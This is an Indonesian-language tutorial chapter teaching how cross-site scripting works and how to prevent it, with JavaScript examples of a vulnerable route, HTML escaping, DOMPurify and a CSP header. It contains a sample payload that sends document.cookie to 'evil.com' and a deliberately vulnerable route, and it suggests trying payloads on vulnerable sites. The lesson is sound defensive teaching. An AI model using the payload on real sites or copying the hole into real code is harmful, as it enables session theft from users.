Tujuan Pembelajaran

Memahami cara kerja XSS
Bisa mencegah XSS di aplikasi

Analogi

Diagram


      XSS = Penjahat Pura-pura Jadi Tamu:

[Penjahat] → 'Saya bawa kue' (berisi pesan rahasia)
[Security] → Cek kue → Tidak curiga → Izinkan masuk
[Penjahat] → Baca semua surat di meja

XSS — attacker menyisipkan kode jahat ke website

Penjelasan Konsep

XSS (Cross-Site Scripting)

XSS (Cross-Site Scripting) adalah serangan di mana attacker menyisipkan kode JavaScript jahat ke website. Ketika user lain mengunjungi website itu, kode jahat tersebut berjalan di browser mereka.

Cara kerja XSS

Attacker menemukan form yang tidak sanitize input (komentar, search, profil).
Attacker kirim input berisi <script>alert('hacked')</script>.
Website menyimpan input tersebut dan menampilkannya ke user lain.
Script berjalan di browser victim — bisa mencuri cookie, session, atau melakukan aksi atas nama user.

Jenis XSS

Stored XSS → Script disimpan di database (paling berbahaya).
Reflected XSS → Script ada di URL,

Tidak disimpan.

DOM-based XSS → Script manipulasi DOM langsung.

Pencegahan

Sanitize input — Hapus atau escape karakter berbahaya.
Content Security Policy (CSP) — Header HTTP yang membatasi sumber script.
HttpOnly cookie — Cookie tidak bisa diakses JavaScript.

Inti yang Perlu Dipahami

Bagian ini berfokus pada memahami cara kerja XSS., dan bisa mencegah XSS di aplikasi. Jangan terburu-buru menghafal istilahnya. Lebih penting untuk memahami peran setiap konsep dan kapan konsep itu muncul dalam pekerjaan web development.

Saat membaca XSS, gunakan tujuan belajar sebagai penanda arah. Kalau kamu sudah bisa menjelaskan tujuan itu dengan kata-katamu sendiri, berarti fondasinya mulai terbentuk.

Cara Membayangkannya

XSS — attacker menyisipkan kode jahat ke website. Analogi ini dipakai supaya konsep teknis tidak terasa melayang. Hubungkan setiap istilah dengan perannya: siapa yang meminta, siapa yang memproses, data apa yang berpindah, dan hasil apa yang diharapkan.

Kalau analoginya sudah terasa masuk akal, barulah lihat istilah teknisnya. Cara ini membuat materi lebih mudah dipahami daripada langsung menghafal definisi.

Saat Melihat Contoh Kode

Contoh kode pada chapter ini memakai bahasa javascript. Bacalah contoh kode sebagai ilustrasi alur, bukan sebagai bagian yang harus langsung dihafal. Baris 1-5: Vulnerable — tidak sanitize. Baris 8-16: Secure — escape HTML. Baris 19-20: DOMPurify. Baris 23-26: CSP header.

Perhatikan nama fungsi, urutan langkah, dan data yang berpindah. Biasanya tiga hal itu sudah cukup untuk memahami hubungan antara teori dan praktik.

Konteks dalam Perjalanan Belajar

Setiap konsep di platform ini dipilih karena dipakai di industri. Fokus pada pemahaman, bukan hafalan.

Kamu sedang membangun skill inti. Setelah bagian ini, kamu bisa memilih spesialisasi sesuai minat: frontend, backend, atau DevOps.

Gunakan pertanyaan reflektif dan prompt AI di akhir chapter sebagai latihan aktif. Membaca saja tidak cukup — kamu perlu menjelaskan ulang dengan kata-katamu sendiri.

Contoh Kode

javascript

// VULNERABLE — Tidak sanitize
app.get('/comment', (req, res) => {
  res.send(`<div>${req.query.text}</div>`);
});
// Input: <script>fetch('evil.com?cookie=' + document.cookie)</script>

// SECURE — Escape output
const escapeHtml = (text) => {
  return text
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;');
};
app.get('/comment', (req, res) => {
  res.send(`<div>${escapeHtml(req.query.text)}</div>`);
});

// Gunakan library seperti DOMPurify
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHtml);

// Content Security Policy
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', "script-src 'self'");
  next();
});

Penjelasan Kode

Baris 1-5: Vulnerable — tidak sanitize. Baris 8-16: Secure — escape HTML. Baris 19-20: DOMPurify. Baris 23-26: CSP header.

Prompt AI

Jelaskan bedanya stored XSS dan reflected XSS.

Pertanyaan Reflektif

Coba XSS payload di website yang vuln. Gunakan alert(1) untuk test.